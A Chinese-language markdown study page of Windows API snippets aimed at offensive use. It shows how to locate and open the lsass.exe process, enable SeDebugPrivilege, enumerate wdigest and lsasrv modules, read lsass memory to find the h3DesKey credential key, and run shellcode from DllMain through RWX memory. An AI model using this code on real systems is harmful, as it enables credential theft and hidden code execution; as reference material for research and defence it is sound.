Skip to content

Latest commit

 

History

History
306 lines (217 loc) · 8.9 KB

TA0000基础知识-常用API实例.md

File metadata and controls

306 lines (217 loc) · 8.9 KB

常用API实例

遍历进程

CreateToolhelp32Snapshot:Takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.

以TH32CS_SNAPPROCESS作为第一个参数,可保存系统中所有进程信息用于遍历

// Searches for lsass.exe PID
int GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}

	CloseHandle(hSnapshot);
	return 0;
}

Open Process

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

PROCESS_QUERY_INFORMATION : Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken).

PROCESS_VM_READ: Required to read memory in a process using ReadProcessMemory.

HANDLE GrabLsassHandle(int pid) {
	HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
	return procHandle;
}

开启调试权限

BOOL EnableDebugPrivilege(BOOL fEnable)
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return(fOk);
}

何为Debug Privilege?

调试特权允许进程调试它们原本无法访问的进程(如系统服务),默认只有Administrator组成员具有调试特权。比如,进程以Administor权限启动,其Integrity level为high,想遍历Lsass.exe(system integrity)中加载的Dll就需要开启调试特权。

步骤

  1. OpenProcessToken 以TOKEN_ADJUST_PRIVILEGES的方式打开当前进程令牌
  2. AdjustTokenPrivileges 设置令牌中的特权,开启Debug Privilege

遍历进程加载的Dll

https://docs.microsoft.com/en-us/windows/win32/psapi/enumerating-all-modules-for-a-process

	// Enumerate all loaded modules within lsass process
	if (EnumProcessModules(hLsass, lsassDll, sizeof(lsassDll), &bytesReturned)) {

		// For each DLL address, get its name so we can find what we are looking for
		for (int i = 0; i < bytesReturned / sizeof(HMODULE); i++) {
			GetModuleFileNameExA(hLsass, lsassDll[i], modName, sizeof(modName));

			// Find DLL's we want to hunt for signatures within
			if (strstr(modName, "lsass.exe") != (char*)0)
				lsass = (char*)lsassDll[i];
			else if (strstr(modName, "wdigest.DLL") != (char*)0)
				wdigest = (char*)lsassDll[i];
			else if (strstr(modName, "lsasrv.dll") != (char*)0)
				lsasrv = (char*)lsassDll[i];
		}
	}
	else
	{
		printf("[!]Error code of EnumProcessModules():%d\n", GetLastError());
		return 0;
	}

步骤

  1. EnumProcessModules ,获取进程中所有模块的handle
  2. 遍历每个模块,调用GetModuleFileNameExA获取文件路径名

读取进程内存

ReadProcessMemory

// Read memory from LSASS process
SIZE_T ReadFromLsass(HANDLE hLsass, void* addr, void* memOut, int memOutLen) {
	SIZE_T bytesRead = 0;

	memset(memOut, 0, memOutLen);
	ReadProcessMemory(hLsass, addr, memOut, memOutLen, &bytesRead);

	return bytesRead;
}

// Retrieve offset to h3DesKey address due to "lea reg, [h3DesKey]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + DES_OFFSET, &desOffset, 4);
printf("[*] h3DesKey offset found as %d\n", desOffset);

加载Dll

  • DllMain entry point

An optional entry point into a dynamic-link library (DLL). When the system starts or terminates a process or thread, it calls the entry-point function for each loaded DLL using the first thread of the process. The system also calls the entry-point function for a DLL when it is loaded or unloaded using the LoadLibrary and FreeLibrary functions.

DllMain是Dll的默认入口函数,用于指定Dll被加载、卸载时需要执行的操作。例如,当进程加载Dll时,会执行case DLL_PROCESS_ATTACH下的代码。

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpReserved )  // reserved
{
    // Perform actions based on the reason for calling.
    switch( fdwReason ) 
    { 
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
            break;

        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}
  • 动态加载Dll并执行Dll中的导出函数

https://stackoverflow.com/questions/8696653/dynamically-load-a-function-from-a-dll

  1. LoadLibrary加载Dll, 如果加载失败,会立即调用DllMain中的DETACH操作;
  2. GetProcAddress获取需要执行的导出函数地址
  3. 执行导出函数
#include <windows.h>
#include <iostream>

/* Define a function pointer for our imported
 * function.
 * This reads as "introduce the new type f_funci as the type: 
 *                pointer to a function returning an int and 
 *                taking no arguments.
 *
 * Make sure to use matching calling convention (__cdecl, __stdcall, ...)
 * with the exported function. __stdcall is the convention used by the WinAPI
 */
typedef int (__stdcall *f_funci)();

int main()
{
  HINSTANCE hGetProcIDDLL = LoadLibrary("C:\\Documents and Settings\\User\\Desktop\\test.dll");

  if (!hGetProcIDDLL) {
    std::cout << "could not load the dynamic library" << std::endl;
    return EXIT_FAILURE;
  }

  // resolve function address here
  f_funci funci = (f_funci)GetProcAddress(hGetProcIDDLL, "funci");
  if (!funci) {
    std::cout << "could not locate the function" << std::endl;
    return EXIT_FAILURE;
  }

  std::cout << "funci() returned " << funci() << std::endl;

  return EXIT_SUCCESS;
}
  • 在DllMain中执行ShellCode,从而LoadLibrary时即可执行恶意代码

https://gist.github.com/securitytube/c956348435cc90b8e1f7

https://github.com/outflanknl/NetshHelperBeacon/blob/master/NetshHelperBeacon/NetshHelperBeacon.cpp

#include <stdio.h>
#include <windows.h> // only required if you want to pop calc

#ifdef _M_X64
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41";
#else
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b";
#endif

// Start a seperate thread so netsh remains usefull. Loosely copied from https://gist.github.com/securitytube/c956348435cc90b8e1f7 
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
	LPVOID newMemory;
	HANDLE currentProcess;
	SIZE_T bytesWritten;
	BOOL didWeCopy = FALSE;
	// Get the current process handle 
	currentProcess = GetCurrentProcess();
	// Allocate memory with Read+Write+Execute permissions 
	newMemory = VirtualAllocEx(currentProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (newMemory == NULL)
		return -1;
	// Copy the shellcode into the memory we just created 
	didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&buf, sizeof(buf), &bytesWritten);
	if (!didWeCopy)
		return -2;
	// Yay! Let's run our shellcode! 
	((void(*)())newMemory)();
	return 1;
}


BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
    HANDLE threadHandle;
    switch (dwReason)
    {
        case DLL_PROCESS_ATTACH:
			// Create a thread and close the handle as we do not want to use it to wait for it 
     	    threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
	    	CloseHandle(threadHandle);
            break;
        case DLL_PROCESS_DETACH:
            // Code to run when the DLL is freed
            break;
        case DLL_THREAD_ATTACH:
            // Code to run when a thread is created during the DLL's lifetime
            break;
        case DLL_THREAD_DETACH:
            // Code to run when a thread ends normally.
            break;
    }
    return TRUE;
}